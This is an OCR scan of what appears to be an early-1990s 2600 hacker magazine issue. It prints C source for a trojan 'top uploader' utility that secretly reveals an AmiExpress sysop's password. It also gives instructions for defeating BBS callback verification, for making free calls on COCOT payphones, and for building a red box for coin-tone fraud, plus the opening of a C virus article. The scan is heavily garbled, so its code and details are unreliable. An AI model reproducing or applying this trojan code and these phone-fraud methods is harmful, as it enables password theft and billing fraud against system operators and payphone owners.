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Hacking Al11iExpress 
by Swinging Man 

The recent article on security holes in 
WWIV BBS's got me to thinking. Where 
WWIV is the board of choice among clone 
sysops, AmiExpress is the dominant 
software in the Amiga community, the 
pirate community anyway. 

AmiExpress is a relatively simple piece 
of software, and that's good because it 
keeps things quick and easy. No means are 
provided for the sysop to keep track of top 
up loaders or even last callers. What is 
provided is a batch file that is executed 
each time a user logs off. In the batch file, 
one runs utilities to compile data into text 
files that are stored as bulletins. That way 
the next user sees a bulletin containing the 
last few users that called, etc. It's a hassle, 
but it works. 

When I ran my own board, I wrote my 
own utilities to fill in these functions. Then 
I put them in an archive and sent them out 
into the ether. It's good advertising. Most 
sysops don't write their own (surprise!); 
they have enough trouble getting utilities 
written by other people to run. This means 
it's really easy to take advantage of them. 

Most utilities search through four files: 
BBS:USER.DATA, which holds all the 
records of users; BBS:NODEx/CallersLog 
(where x is the node number and is usually 
0), which records all the important stuff a 
user does when he's online; BBS:UDLog, 
which is like CallersLog, but only records 
transfers; and BBS:conference/Dirx, which 
are the vanilla ASCII files containing the 
names and descriptions of all the "warez." 

US ER DATA is the most interesting. If 
one were to write a top uploader utility, as 
I have done in the past, one would need to 
open this file to sort all the users by bytes 
uploaded. While you've got the file open, 
why not save the sysop's password for 
later? That's  what I 've done in the 
example program called "Steal.C." It  prints 
the best uploader with a seemingly random 

border around his name. Here's what the 
output looks like: 
UtwFqNYXoV AKBfsegnxRvDbPrmcdWi 
## PRESTO ## 
UpwFqa YXosAKBssegwxRvobPrrcdWd 

It looks random, but the difference between 
the top line and the bottom spells out 
"pasSWOId." Easy to see if you're looking for it, 
but if you're not paying attention it just looks like 
garbage. Of course, you could think up a better 
method of encrypting the password than just 
replacing every fourth letter. 

This one is neat because you can just log on 
and see the sysop's password, but it's not the 
only way to 00 it You could 00 anything to any 
user; however, the more specific the program 
becomes, the less useful it will become. It's not 
easy to get a sysop to change top uploader 
utilities. It would have to be better than the one 
he has, oc maybe a fake update. 

I can think of endless fun to have with these 
utilities. How about a bit of conditional code that 
formats all chives when a certain user logs on, 
such as "Kill Board" Or maybe you just want to 
copy USER.DA T A to a download path, 
renamed as "coolware.dms." 

So what can you 00 if you're an AmiExpress 
sysop? Don't use utilities written by anyone 
other than yourself. There isn't any other way. 
You can monitor the files opened when a utility 
is run, but an event-driven action won't be 
detected. Or you cou1d krlc at the whole file and 
look for any text The text strings passed to OOS 
are usually intact. O f  course a crunching 
program like IMPLODER will get rid of this. 
And an IMPLODED file can be encrypted with 
a password, so good luck fiOOing something that 
way. Then again, you could always just forget it 
It's only a BBS ... you've got nothing to hide. 
Right? 

This idea isn't just about AmiExpress. 
How many BBS's have doors, or online 
games? How hard would it be to write a 
game like TradeWars that has an extra 
option that does any of the nasty things 
you've always wanted to do? 
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/**********************************************************************/ 
/** SysOp Password Stealer v1.0 by Swinging Man **/ 
/** Prints top uploader ..... but also reveals SysOp's password **/ 
/** in the boarder **/ 
/*********************************************************************/ 
#include <stdio.h> 
#include <ctype.h> 
#include <time.h> 

struct userdata U* 232 bytes */ 
/* Since I hacked this out, there are still many */ 

}; 

char nam.e(31); 
char pass(9); 
char from(30); 
char fone(13); 

/* unknown areas of the record */ 
/*user's name*/ 

unsigned short number; 
unsigned short level; 
unsigned short type; 
unsigned short ratio; 
unsigned short computer; 
unsigned short posts; 
char unknownO(40); 
char base(10); 
unsigned int unknown_numO; 
unsigned int unknown_num1; 
unsigned int unknown_num2; 
unsigned int used; 
unsigned int time1; 
unsigned int time2; 
unsigned int bytesdn; 
unsigned int bytesup; 
unsigned int bytelimit; 
unsigned int unknown_num3; 
char unknown1(46); 

FILE *fp; 

I*user's password*/ 
/*user's FROM field*l 
/*phone number field*/ 
/*user number*/ 
/*Ievel*/ 
/*type of ratio*/ 
/*ratio of DLs to one UL */ 
/*computer type*/ 
/*number of posts*/ 

/*conference access*/ 

/*seconds used today*/ 
/*time per day*/ 
/*clone of above*/ 
I*bytes downloaded*/ 
/*bytes uploaded*/ 
/*bytes avail per day*/ 

struct list { 
char name(40); 
unsigned int bytes_uploaded; 
struct list *next; 
}; 

char rndO { 
char c; 
c = (charlrandO; 
while(!(isalpha(c)) II (c<20)) c = (char)randO; 
return(c); 
} 

mainO { 
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int x.y; 

struct userdata user; 
struct list head; 
struct list *temp, *temp2; 

char password[91; 

char border[31I; 
char middle[31I = "## 

head.next = NULL; 

if«fp = fopen("bbs:user.data":r" » == NULL) { 
printWCan't Open User File\n"); 
return 1; 
} 

I*get a" users and put in Iist*1 
while(fread«void *)&user, sizeof(struct userdata), 1, fp) == 1) ( 

if(user.number == 1) strcpy(password, user. pass); 
if«user.leveI<200) &&(user.level>O) 

} 
fclose(fp); 

&& (user.bytesdn > 0» ( 
temp = (struct list *)ma/loc(sizeof(struct list»; 
if(temp == NULL) ( 

printWOut of Memoryl\n" ); 
exit(1); 
} 

strcpy(temp->name, user .name); 
temp->bytes_uploaded = user.bytesup; 
temp2 = &head; 
while«temp2->next != NULL) 

&& «temp2->next->bytes_uploaded) 

temp2 = temp2->next; 
} 

temp->next = temp2->next; 
temp2->next = temp; 
} 

> (temp->bytes_uploaded») { 

temp = head.next; 
srand«unsigned int)time(NULL»; 
y = O; 
for(x=O;x<30;x++) border[xl = rndO; 
border[301 = '\0'; 
printf("%s\n" ,border); 
strncpy(&middle[15-(strlen(temp->namell2ll,temp->name,strlen(temp->name}); 
printW%s\n" ,middle); 
for(x=1;x<30;x+=4) border[xl = password[y++I; 
printf("%s\n" ,border); 
} 
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THE ALLIANCE AGAINST FRAUD IN TELEMARKETING 
NATIONAL CONSUMERS LEAGUE 

THETOPTENSCAMSOFl�l 

I. POSTCARD GUARANTEED PRIZE OFFERS 

You Are A DEFINITE Winner 

2. ADVANCE FEE LOANS 

A Small Fee For Processing The Application 

3. FRAUDULENT 900 NUMBER PROMOTIONS 

Dial 900 To Claim Your Gift 

4. PRECIOUS METAL INVESTMENT SCHEMES 

Gold Bullion: A 700% Profit Guaranteed Within Six Months 

5. TOLL CALL FRAUD 

For Ten Bucks, Call Anywhere In The World 

6. HEADLINE GRABBERS 

77lOlIsands of Jobs Available: Help Rebuild Kuwait 

7. DIRECT DEBIT FROM CHECKING ACCOUNTS 

Give Us YOllr Checking Account Number: We'll Handle The Rest 

8. PHONY YELLOW PAGES INVOICES 

Send Us YOllr Check Today To Make Sure Your Firm Is Listed 

9. PHONY CREDIT CARD PROMOTIONS 

Bad Credit? No Credit? No Problem 

10. COLLECTORS ITEMS 

Fabulolls Coins At A Fraction Of 77le Dealer Price 

THE ALLIANCE AGAINST FRAUD (N TELEMARKETING 

clo THE N A lIONAl CONSlJ'hlERS LEAGUE 

815 FlF"rEEl;TH STRHT N.W., SUITE nr.·N 
W ASHINOTON, DC 20005 
202 ·639·81 �o 
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�- .AT&T 
-=-. 

AT &1' has reason to believe that the telephone listed to you has been used in violation of Federal 
Communications Commission - AT&T Tariff F.C.C. No.2 Sections 2.2.3 and 2.2.4.C. These 

tariff sections prohibit using WATS to harass another, using WATS to interfere with the use of 
the service by others and using WATS with the intent of gaining access to a WATS Customer's 
olltbollnn calling capabilities on an unauthorized basis . 
Accordingly, AT&T has temporarily restricted your telephones service's ability to place AT&T 
ROO Servi;e calls in accord,Hlce with see .ic� 2.8.2 of the above tariff. If the abusive calling 
reoccurs "ftcr AT&T lifts the temporary restrictions, the restriction will be reimposed until 
AT&T is satisfied that YOll have undertaken steps to secure your number against future tariff 
\'ini:Jtiolls. 
You should also note that unauthorized possession or use of access codes can constitute a 
violation of United States Criminal Code - Title 18, Section 1029, which carries a penal ty of up 
to a $10,000 fine ano up to 10 years imprisonment for first time offenders. Any future activity 
fmm telephones listed to YOll may be referred to federal law enforcement officials. 

If you wish to discuss this restrictions you may do so in writing to AT&T Corporate Security, 
eN 4001. WaITcn N.J. 07059-4901. 

According to Minor Threat, this letter was received about a week after he 

had scanned about 50 800 numbers in the 222 prefix sequentially by hand. 
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Defeating Callback Verification 
by Dr. Delam 

So you fee l  yo u 've f ina l ly met 
you r  match .  Whi le applying at this 
b o a rd t h at yo u 'v e  a p p l i e d  at  
befo re , you u s e  a f a ke n a m e , 
address, and phone number.  Then 
comes the part you hate most: the 
callback ve rificat ion . "How in he l l  
am I going to  get access wit hout 
g i v i n g  o u t  my re a l  n u m b e r?! I 
guess I ' l l  ju st h ave to 'e ng ineer' 
t h e  s y s o p . "  O n ly t h i s  p articu l a r  
sysop i s  too good. H e  t ries a voice 
verif ication ,  and fin ds e ither a bad 
number  or someo ne who doesn't 
eve n know w hat a BBS i s .  Now 
you have to reapply again! I f  you 
worked for the phone company or 
knew how to hack it , m aybe you 
co u l d s e t  y o u rs e lf u p  w i t h  a 
t e m p o r a ry n u m b e r ,  b u t  
u nfortu n at e ly you d o n 't .  So you 
th ink  h a rd a nd co me up with an 
idea: "A l l  I need is  a local d i rect 
dial VMB. T hen I can just have the 
sysop cal l  that and make him think 
it 's  my home VMB syste m . . .  that 
is ,  if I can f ind o ne to hack." 

Naw, st i l l  too hard. There mu st 
be an easier way. Loop? No ,  who 
wants to wait forever on a loop -
eve ry so often ta lk ing  with Fred 
the pisse d-off l inema n .  What else, 
what else? You can remember the 
t h i ng s  you u se d  to do as a kid 
befo re  y o u  e v e n k n e w  w h at 
phreak ing o r  h acki ng was . How 
about  t h e  t i m e  y o u  c a l l e d  you r 
fr iend Chris  and at some point in 

the conversat io n ,  when thing s  got 
boring , Chris said " I 'm gonna cal l  
Mi ke n o w .  B y e !" But you d i d n ' t  
want to hang u p .  You heard click, 
c l ick . . .  but no d i a ltone . You say 
"He l lo?" and sudde nly you h e a r  
Chris s hout "Hang up the phone!" 
Haha! You had d iscovered a new 
t rick! If you originated the cal l ,  you 
had u lt imate control! "That means 
if I call a BBS and it hangs up f irst , 
I actua l ly am sti l l  connected to the 
l ine for a brief per iod  (usu al l y  a 
maximu m of 15 s econds); and if 
the BBS picks up again to dial me 
for cal lback verif icatio n ,  it wi l l  get 
me f o r  s u re ,  r e g a rd l e s s  of t h e  
number it has!" 

This leaves just two problems to 
solve . 

The f i rst proble m occurs when 
y o u r m o d e m s e n s e s  a drop i n  
DT R o r  l o s s  i n  carr i e r  f rom t h e  
BBS's modem ,  it wi l l  go on-hook.  
This means you wi l l  have to catch 
t h e  p h o n e  b e f o r e  yo u r  modam 
hangs up .  Your modem may have 
a s et t i ng t h at w i l l  i g n o re t h e s e  
change s .  I f  not , you can bu i ld a 
busy switch .  T his may be do ne by 
placing a 1 K ohm resistor and an 
SPST switch between the ring and 
t ip (red and g reen)  wires of you r 
phone l ine .  Completing this circuit 
at any t ime wh i le  o n l i ne has the  
effect of  a p e r m a n e nt of f  hook 
conditio n .  The resistance provided 
is equ iv a lent  to t h e  r e s i st a n ce 
p re s e nt w h e n  you r  phone is  off  
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hook. thus creating a condition the 
C.O. recognizes as off hook. With 
good soldering and a good switch, 
no interference will be present 
after the switch is thrown while 
connected. 

Note: Sysops may find the busy 
switch useful as a confirmation 
that the phone line is "busied out" 
w hen the BBS is taken down. 
Sometimes during down times a 
reboot or power down is 
necessary, which will cancel any 
busying effects the modem had 
set previously, making a busy 
switch in this case ideal . The 
second problem occurs when the 
BBS's modem expects a dialtone 
after going from on hook to off 
hook. A dialtone will have to be 
provided for the BBS's modem 
before it will try dialing whatever 
phone number you provided. This 
requires what I call a "CAVERN 
box" (CAllback VERificatioN). Like 
many other boxes, it is a simple 
generation of tones. For a cheap 
and inexpensive method, use a 
tape recorder to record and play 
back the dialtone. Computer 
sound generation hasn't been 
tested, but mo st PC speakers 
generate a square wave, while 
dialtones are sinusoidal. The best 
c h ance for accurate, artificial 
sound generation is with a 
synthesizer. The two frequencies 
of a dialtone are 300hz and 420hz. 
Ma ny mUSIcIans recognize 
440.00hz as the note A4, and the' 
frequency from which scales are 
built. Just below A4 on an equal 

tempered chromatic scale is G#4 
at 41S.30hz. Tuning a synthesizer 
just shy of a positive quarter tone 
from the normal scale will yield a 
G#4 at 420hz and bring the 04 of 
293.66hz within an acceptable 
range of 300hz. 

Needless to say, once you have 
prevented your modem from 
hanging up and have generated a 
dialtone which has effectively 
caused the BBS's modem to dial 
the phone number, you should 
issue an answer tone by typing the 
Hayes "ATA " command. You will 
then be connected with the BBS's 
modem and will have protected 
your identification. 

Thanks to Green Hell for some 
help in genera ting concep ts 
presented. 

WRITE FOR 26001 
SEND YOUR ARTICLES TO 

2600 ARTICLE SUBMISSIONS 
PO BOX 99 

MIDDLE ISLAND, NY 11953 

INTERNET: 2600@well sf ca. us 

FAX: (516) 751-2608 
Remember, all writers get free 

subscriptions as well as free 

accounts on our voice mall system 

To contact a 2600 writer, call 0700-

751-2600. If you're not using AT&T. 

preface that with 10288. Use touch 
tones to track down the writer 

you're looking for. Overseas callers 
can call our office (516) 751-2600 

and we'll forward the message. 
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oate __ _ 
customer Name 
a1:1:eet Address 
C1ty, State 

AOJUST!(!NT LE'l"l'D 
CALLING CARD FRAUD CLAIMS 

Re: (Account Number) 
Dear _________________ __ 
Your AT&T Calling Card is a valuable servics to help m.et 
all your 10n9 distance n •• ds. AT'T is concerned with qui�ly 
resolvinq any unauthorized charges associated with your AT'T 
Callinq Card. ,In respon •• to your request, we havs removed the disfuted char�e. tram your account. This oredlt i. made pendinq 
an 1nvestiqat10n at your claim by AT'T. 
To facilitate the investlgatiol1 ot your olailll, plea.e complete 
the bottom portion ot this letter . Read the information, , 
describe the tact. surrounding your claim, include any relevant 
documentation that rou may have, siqn and return it to us in the 
encloeed postaqe-pa d anyelopa. 

(Please complete this portion and return to AT'T Security.) 

AT'T corporate Security 
P.O. Box 1927 
Roawell, Oeorgia 30077-1927 

On my / I ____ Billin9 statamant(s), 10n; distance charqe. tor 
calls rn-tno amount of $ were hilled to my telephone 
number . These calis were not lIIade or authorized 
by me. I have receIved an adjustlllent for theae calls and 
understand that thi. adjustment 1s made pending an investigation 
of my claim by AT'T Security. 

' 

(Please describe the tacts which leae! you to believe these call:r, 
are unauthorized. You may attach addit10nal she.ts it needed.) 

I will cooperate with AT&T Security 1n invastiqating my claim. 
Signed cate 
Print ' .. ».-a-m-e----------- '-----'---
social Secur�ty NumSer ______________ ___ 
Account Numbar _____________________ ___ 

It you have any QuestIons, please call AT&T S.cur�ty at 
BOO 346-4073 or ;00 346-4074. 
Sincerely, 
Account Representative 

WHAT A GREAT SCAM TO GET SOCIAL SECURITY NUMBERS! 
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GOd C10 

PHONE MANAGEMENT ENTERPRISES 
3'. WASHINGTON AVENUE 
CARLSTADT, NEW JERSEY 01012 
(201) S07-1951 
FAX (201) 501-1095 

THIS LETTER IS REGARDING YOUR RECENT REQUEST FOR A REFUND ON THE 
PAY TELEPHONE YOU USED. WE APOI,OGIZE FOR ANY INCONVENIENCE THIS 
MAY HAVE CAUSED YOU AND WE ASSURE YOU, THE PROBLEM HAS BEEN 
CORRECTED. 

WE ARE ENCLOSING, IN LIEU OF A CASH REFUND" UNITED STATES POSTAL 
STAMPS TO COVER YOUR LOSS, THIS BEING A SAFER WAY FOR YOU TO BE 
ASSURED OF YOUR REFUND. 

SHOULD YOU HAVE ANY QUESTIONS, PLEASE CALL US AT (201) 507-1951. 

SINCERELY, 

PIIONE MANAGEMENT ENTERPRISES, INC. 

'U:J :UICJ\1c!1 .:l.L\1.L;S Id.L 

This is what happens when you request a refund from this company. In this 
case, correspondent Winston Smith received two 2S cent stamps which 
means he now has to get two four-cent stamps if he wants to mail anything. 

Note also that this letter is actually a xerox of a fax that originated with Tri 
State Radio Co. The wondrous mysteries of a COCOT •.•• 
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SHOPPER'S GUIDE TO COCOTS 
ItyCouMZ.,. 

ReMrictH OllIe Tr_iNion 
"T ...... ie a.." 1IUl ............... 

c..tet" 
So you'fe walk ing down the street 

and you see a payphone. Gotta make an 
impo rtant ca ll ,  so you dig i n to y o u r  
pocket t o  get a di me. Pickin g  up t h e  
handset, you suddenly notice that the 
payphone wants a quan.r for a local call! 
What t h e  hel l ,  ana wh.r. did t h is 
synthesized voice come from? 

Let's make th is article short and to 
the  poi nt. COCOT i s  an acron y m  for 
C u st o m e r  Own ed Coi n Ope rated 
Telephone. In other words, a COCOT is  
a phone owned or rented by a paying 
cus tomer (most l ikely, a hotel or donut 
shop) . A C O C OT is not a n o r m al 
payphone. The telco doesn't own it, and 
the actual phone l ine is usual ly a normal 
customer loop (un l ike payphones, where 
the phone l ine is  a " special" payphone 
loop, allowing the use of "coin tones" to 
ind icat e  mone y dropped i n ) .  Sol A 
COCOT may look and smell like a telco 
payphone, but it i s  not. 

Why d o  C O  COTs ex i st? S i m p l e. 
Money! A customer owned payphone is 
money i n  the bankl You pay more for 
local caWs and long distance is typically 
h an dled by s leazy carri ers that offe r  
bad/expensive service. The owner/renter 
of the COCOT opens the coinbox and 
keeps the mon ey h i m/herself! Also, a 
particularly sleazy quality of a COCOT is 
the fact that it does not receive incoming 
calls. Th i s ,  of cou rse ,  i s  because of 
mon ey. If  peop l e are ca l l i n g  in to a 
C OCOT,  t h e  C OCOT i s  not m a k i n g  
money a n d  businesses always want to 
make as much money as possible even 
if it hurts the consumer. Think about it. It 
really sucks to cal l  someone at home 
from a COCOT and then not be able to 
h ave h i m/ h e r  ca l l you back to s ave 

money. "Guess I' l l  have to keep feeding 
the COCOT quarters!" 

Wh ere is a good place to l ook for 
COCOTs? Outside Dunkin Donut shops , 
restaur a nt s ,  c l u b s ,  b a r s ,  and  
outs ide/ins ide hotel s  and  'conven ient" 
locations. 

How do I figure out if I have found a 
COCOT? Simple. A CO COT wil l  have no 
telco logos on it. It may look just l ike a 
telco phone chrome with blue stickers 
and all th at. Also, a COCOT typical l y  
charges more for a local  ca l l than a 
reg u l ar t e l co paypho n e .  (In 
Massachusetts, local cal ls  are a dime. In 
places l ike New York City , they are 25 
cents.) A COCOT will most often have a 
synth e s i z ed vo ice t h at a s k s  you to 
'please deposit 25 cents" or whatever. 
Also, some fancy COCOTS wi l l  not look 
l ike payphones at all. Some in hotel s 
have weird LCD displays and look total ly 
different but they always charge you 
more than a normal payphone. 

I found this weird payphone in Boston 
t h at w ants a quart e r ,  a n d  t h i s  
synth e s i zed vo ice i s  h aras s i n g  me. 
When does the phun begin? Soon. First 
of al l ,  you must understand that the 
COCOT is  a mimic. Essentially, it wants 
you to th i nk that it is ju st a p la in 01' 
payphone. Pick up the handset. Hear 
that dialtone? Hah! That dialtone is fake, 
synth e s i z ed by the i n n ar d s  of t h e  
COCOT. You are at t h e  mercy o f  the 
COCOT. Remember, a CO COT runs off 
of a normal customer loop so, un l ike a 
telco payphone where you must deposit 
money to generate coin tones  th at are 
read by the central office, the security of 
a C O C O T  depends  sol e l y  on the 
COCOT phone itself. It' s  as if you took 
your own phone and put a s ign  on i t  
saying 'Please put 10 cents in  this jar for 
every call you make." COCOTS are not 
n aive. T h e y  won 't l et you  n e ar t h e  
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unrestricted dialtone until you fork over 
the cash-ola. Or so they thinkl 

See, the Achilles heel of the COCOT 
is the fact that all payphones must let 

you make 1-800 calls for freel lt's not just 
a fact, it's the law. Now pick up the 
handset again and place a 1-800 call. 
Any 1-800 number will do. When they 
answer at the other end, just sit there. 
Do nothing. Ignore them. Wait for them 
to hang up the phone. Here's an 
example. 

Dial 1-800-LOAN-YES. 
[Ring, Ring] ... [click] "Hello, you 

wanna buy s ome money? Hello? 
HELLO?!" [CLICK] 

(You will now hear some static and 
probably a strange "waffling" noise, like 
chh,chh,chh,chh,chh) 

[CLICK] DIAL TONE! 
Now what have we got h ere? A 

dialtone? Yes, you guessed it, the 
dialtone you now hear is the unrestricted 
dialtone of the cocors customer loop. 

So what? So I got an "unrestricted 
dialtone". Big deal? 

Meathead! With an unres tricted 
dialtone, all you need to do is place a call 
via DTMF tones (the tones a touch-tone 
keypad generates). Now, try dialing a 
number with the COCOT's keypad. 
Wh oal Waitasec, no sound! This is a 
typical lame attempt at protection by the 
COCOT. Just whip out your Radio Shack 
pocket tone dialer and try calling a 
number, any number. Place it just as if 
you were calling from a home phone. 
Call a 1-900 sex line. Call Guam. You 
are free and the COCOT's customer loop 
is being billed! 

Note: some CO COTS are more 
sophisticated at protecting themselves. 
Some wil l  reset when they hear the 
dialtone. To get around this, make a loud 
hissing sound with your mouth into the 
mouthpiece after the 1-800 number 
hangs up. Get your tone dialer ready 
near the mouthpiece. When you hear the 
dialtone, quickly dial the first digit of the 

number you want to call. If you hiss 
loudly enough, you may be able to mask 
the sound of the dialtone and prevent the 
COCOT from resetting. Once you dial 
the first digit of the number you are 
calling, the dialtone will disappear 
(naturally). You can stop hissing like an 
idiot now. Finish dialing your free phone 
cal l .  Also, some COCOTs actually 
disable the handset after a call hangs up 
(in other words, you can't send DTMF 
tones through the mouthpiece). Oh Well, 
better luck next time. 

However most of the COCOTs I have 
run across only disa ble the DTMF 
keypad. So all you need is a pocket 
dialer to circumvent this! 

Other things to know: Sure, you can't 
call a COCOT, but it does have a 
number. To find out the COCOT's 
number, call one of the automated ANI 
services that tell you the number you're 
dialing from (the numbers keep changing 
but they are frequently printed in 2600). 
Now try calling the COCOT from another 
phone. You will hear one of two things: 
1) synthesized voice: "Thank you" 
[D TMF tones) [C LICK] [hang up]; 2) 
weird carrier. 

A cocors number is only used by 
the c ompany that built or sold the 
COCOT. By calling up a COCOT, a tech 
can monitor its functioning, etc. In case 
number 1, you must enter a 3 or 4 digit 
password and then you'll get into a voice 
menu driven program that'll let you do 
"maintenance" stuff with the COCOT. In 
case number 2, you are hooked to the 
COCOT ' s  300 bps modem (Yes, a 
modem in a payphone). Ukewise, if you 
can f igure out the communicati ons 
settings, you'll be into the COCOT's 
maintenance routines. 

Personally, I haven't ha,d much luck 
(or patience) with calling up and hacking 
COCOT maintenance functions. I just 
like making free phone calls from them! 

COCOT Etiquette: Now, remember, 
you are making free phone calls but 
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someone has to pay for them and that is 
the owner. The COCOT's customer loop 
is bi l led the cost of the calls ,  and if the 
owner sees a big difference in the profits 
made on the COCOT (profit equals coins 
from the COCOT minus the bill from the 
telco for customer loop). they'll know 
something i s  u p. So the ru le  i s  don't 
abuse them! Don't call a 1-900 number 
and stay on the l ine for 12 hoursl If a 
COCOT is abused severely, an owner 
will eventually lose money on the damn 
thingl And that means bye bye COCOT. 
Also, remember that a record of all long 

customer loop and COCOT companies 
w i ll somet i m e s  i n vest i gate "b i l l i n g  
discrepancies" so don't call anyone you 
personall y know unless you are sure 
they are "cool". 

[RING RING] "Hello?" 
"Hello, this is Cointel, Inc. We'd like to 

ask you a few questions about a call you 
received from Boston on 2112191. Could 
you tell us the name and address of the 
person who placed the call?" 

Cool dude: "What? I don't remember. 
Go to hell! [SLAM)" 

Meathead: "Uh, sure, his name is 
John Smith. You want his address too?" 

Get the picture? Good .... 
COCOTs are a great resource if we 

use them wisely, like our environment. 
We've gotta be careful not to plunder 
them. Make a few long distance cal ls 
and then leave that particul ar COCOT 
alone for awhile. Chances are your bills 
will be "absorbed" by the profit margin of 
the owner and probably ignored but the 

smal ler the owner's profit margin gets. 
the more l i ke l y  s u s p i c io n s  w i l l  be 
arou sed . ' n u ff s a i d! I h av e  fo u n d  
COCOTs everywh ere. COCOT 
technology i s  relatively  new, though. I 
know many towns that have none. Check 
out big cities. 

As for a tone dialer, don't leave home 
without onel A true phreak always has a 
DTMF tone dialer at hand along with a 
red box! My personal favor i te  i s  the 
COMBO-BOX ( red box p l u s DTMF). 
Take a Radio Shack 33-memory Pocket 
Dialer. Open up the back. Remove the 

a 
metal cylinder). Unsolder it. Solder on a 
couple of thin, insulated wires where the 
crystal was attached. Thread the wi res 
through one of the "vents" in the back of 
the tone dialer. Get ahold of a 6.5536 
MHz crysta l  ( ava i l ab l e  t h r u  F ry' s 
Electronics, 89 cents  apiece, phone 
number (415) 770-3763). Go out and get 
some quick drying epoxy and a Radio 
Shack mini Toggle Switch, D PDT, cat. 
#275·626. Close the tone dialer, with the 
two wires sticking out one of the back 
vents. Screw it up tight. Now, attach the 
crystals and wires to the switch with 
solder as in the above diagram. 

Each "xx" prong in the diagram i s  
actually two prongs. Hook up t h e  two 
leads f ro m  t h e  crysta l s  to s eparate 
prongs (same with the wires). 

Now, epoxy this gizmo to the side of 
the tone dialer. Use a lot of epoxy, as 
you must  m ake the  switc h/crysta ls  
essential ly embedded in  epoxy resin, as 
in the diagram on the next page. 
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sure epoxy on 
!here. You wart to be certain !he switch and 
crystals are firn1y attached and secure in a 
ma1rix of epoxy (It doesn't condJct elecbicity, 
so don't worry about shorting out the 
oonnections to the toggle switch). Just don't 
gum up the action of the s'Nitch! 

Basically, you've altered 1he device so you 
can seled between two aystals to generate 
!he timing for !he rriaoprocessor in !he tooe 
daler. 

Turn on !he tone dialer. Now you can 
easily switch between !he two cry<rtal types. 
The small aystaI will generate ordinay DTMF 
tones. By simply flicking the switch, you 
generate higher tones, using !he memory 
fundion of the tone daler, save five stars in !he 

big crystal. Sure sounds like the tones for a 
�,doesn't�! 

Carrying !his around with you will always 
oome in handy with both teIoo payphones and 
COCOTsl No phreak should be without one! 

References for this article include Noah 
Clayton's excelentpiece 00 COCOTs in 2600 
Magazine, Autumn 1990. Also The Plague's 
ar1icIe on Tone Dialer conversion to Red Box, 
2600 Magazine, Summer 1 990 (which 
inspired me to aeale !he COMBO-BOX (red 
box plus DlMF daJer). 

Information is power ... shae it! And drink 
massive amounts of Jolt Cola Trust me, it's 
good for you. Keep 1he failh, and never stop 
searchng for new frooIiers. 
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FILM REVIEW I 
sneak.,.. 
Universal Pictures 

technology, they apUy surmise. The 
existence of this magic box is the one truly 
silly element of Sneakers. Fortunately, the 
remaining technical issues contain only 
trivial flaws, such as lack of a delay on a 
multi-satellite phone call or the fact that 
everybody s eem s to use compatible 
equipment.  We must recognize that 
Hollywood needs to take some liberties 
with reality. 

Starring: Robert Redford, Ben Kingsley, 
Dan Akroyd, River Phoenix, James 
Earl Jones, Sidney Poitier, David 
Strathairn, Mary McDonnell. 

Review by Emmanuel Goldstein 
If there's one Ihing we can delermine riglt off 

the bat, irs that Snsaksrs is most definitely a fin 
film. But whether or not it is a hadaKlim is a 10pic 
open to debate. A good many of the characters 
are ha::kers, or former hackers. And � is this skiD 
whictl giws !hem the ablity tI 00 what !hey 00: 
get inti things thsy're not supposed tI be able to 
get inti. The dfIerence is that tlese people 00 it 
fa profit. And that fact alone is enough to make 
this a non-ha;::ksr molo1e. After alt, hacksrs cbn't 
00 what !hey 00 with profit n moo. But Sneakers 
is most defi1ite1y a lim br had<.ers since \here is 
so much nthe way of tedlnique Ihat is ilustrated. 

The opening scene is a flashback to the 
ideologically correct era of anti-war 
marches and draft card bumings. It's at that 
time that two hackers (complete with rotary 
phones and an acoustic coupler) get into 
some major trouble when they mess with 
Richard Nixon's bank account. The stage is 
set, the time shifts to the present, and one 
of the hackers turns into Robert Redford. 
He now runs a company that tests security, 
for a phenomenal fee. (Some of our friends 
who actually do this kind of thing tell us that 
the fee is absurdly low for that type of 
work.) His co-workers include a blind phone 
phreak who has remarkable perceptive 
powers,  a hopeless paranoid who's 
convinced that everything is a plot of some 
kind, an ex-CIA agent who doesn't like to 
talk about why he left, and a kid who 
changed his grades by computer, no doubt 
after reading our Autumn 1989 issue. This 
mixed up bunch, played by a well-above­
average cast, is fodder for unique situations 
and dialogue. And it's about time. 

The action centers around the group's 
quest for a magic box whtch can 
supposedly decrypt any encryption 
scheme. "There isn't a government in the 
world that wouldn't kill" for this kind of 

As the group continues its quest for the 
Holy Box, they become caught up in the 
whole FBI-CIA-NSA world, leaving the 
vi ewer with a less than sat isfactory 
judgment of  how the world of  intelligence 
works. This was without doubt precisely the 
intention. 

In many ways, Sneakers is a political 
thriller and one which doesn't miss an 
opportunity to throw some political barbs. 
George Bush and the Republican Party are 
the favorite targets of this "culturally elitist" 
production. Again, it's about time. 

But best of all is the fact that Sneakers 
at no point tries to send a moral message 
about hacking. Rather, hackers are looked 
upon as a reality; there are people who do 
this kind of thing and they have a useful 
place in soci ety. With the kind of 
information being recorded these days, you 
need some of that hacking ability to be able 
to figure out what's really happening. Tr.Je, 
this knowledge can be misused and 
distorted, as the film demonstrates. But that 
is human nature. If the good hackers were 
to disappear, only the evil ones would 
remain. 

Sneakers manages to send a serious 
message without taking itself too seriously. 
In fact, the confrontation between the NSA 
bigwig (James Earl Jones) and the group 
carrying the magic box is remarkably 
reminiscent of Dorothy and friends meeting 
the wizard after getting the Wicked Witch of 
the West' s broomst ick. A great man 
probably once said that the best way to  
send a serious message is  through humor. 
Sneakers does t his and still keeps the 
audience on the edge of their seats. 
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People are always wondering wbetber or not telepbone company employees get 
discounts on tbeir pbone bills. Well, we've discovered tbat NYNEX offers two 
classes of wbat is known as Telepbone Service Allowance (TSA). Tbis allowance can 
be used by NYNEX employees and tbeir families for personal use as well as 
NYNEX business. Forbidden activities include otber businesses or political 
campaign activities. Tbe allowance only applies to tbe primary residence of tbe 
employee. Class A service provides a 100 percent allowance wbile Class B provides 
a 50 percent allowance. Tbose entitled to Class A status include management 
employees, nonmanagement employees witb 30 years or more, retired employees on 
a service or disability pension, and employees witb specified job functions, 
particularly tbose on call 24 bours a day. Tbose entitled to Class B generally include 
employees not eligible for Class A. 
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A Simple Virus in C 
by Infiltrator 

C seems to be the programming language of the 90's. Its versatility 
and ability for the same code to be used on different computer platforms 
are the reasons for this. So in a brief burst of programming energy I 
have created this little C virus. It's a basic overwriting virus that attacks 
all .exe files in the directories off the main C directory. The virus spreads 
itself by overwriting the virus code on top of the victim file. So the victim 
file becomes yet another copy of the virus. So as not to reinfect, the 
virus places a virus marker at the end of the victim file. Now I know that 
this is not the best coding and that it could be improved and refined but 
since I'm too lazy to do that you will just have to suffer. 

Now the legal stuff: Please do not use this virus to do any harm or 
destruction, etc., etc. This virus is for educational use only and all that 
